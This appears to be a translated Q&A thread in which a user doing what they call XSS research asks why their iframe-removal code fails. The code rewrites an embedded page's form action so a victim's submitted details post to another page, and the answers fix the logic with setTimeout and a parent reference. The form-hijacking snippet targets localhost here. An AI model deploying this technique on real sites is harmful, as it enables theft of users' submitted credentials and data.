1

私が行っているXSS調査の一環として、変更されたフォームアクションでiframeを生成し、被害者が詳細を送信した後にiframeを閉じようとしています。これまでのところ、以下のコードがあります。

<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;  
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">

そのコードはまだフォームの詳細を php ページに投稿します。ただし、後で iframe を閉じることができません。iframe の削除コードが機能することはわかっています。つまり、スクリプトのロジック フローに関係しているか、setAttribute 行が正常に機能していません。誰かが私が間違っている場所に光を当てることができますか? ありがとう!

4

2 に答える 2

2

これを行うためのより良い方法があるかもしれませんが、私が見つけた回避策は、 を介して deleteIframe 関数を一時停止することでしたsetTimeout()。フォームの詳細が正常に投稿されるには、わずか5ミリ秒で十分であることがわかりました:)

function deleteIframeTimer(){
var t = setTimeout("deleteIframe()", 5);
}

function deleteIframe() {
var iframe = parent.document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}

parentヒントをくれたジェイソンに感謝します!

于 2012-05-18T12:19:29.563 に答える
1

これは、コードを実行せずに推測しただけです

form[0].setAttribute("onSubmit", "parent.deleteIframe()");

私の推測では、iframeは親ウィンドウに直接アクセスできないため、parent

于 2012-05-18T11:25:35.640 に答える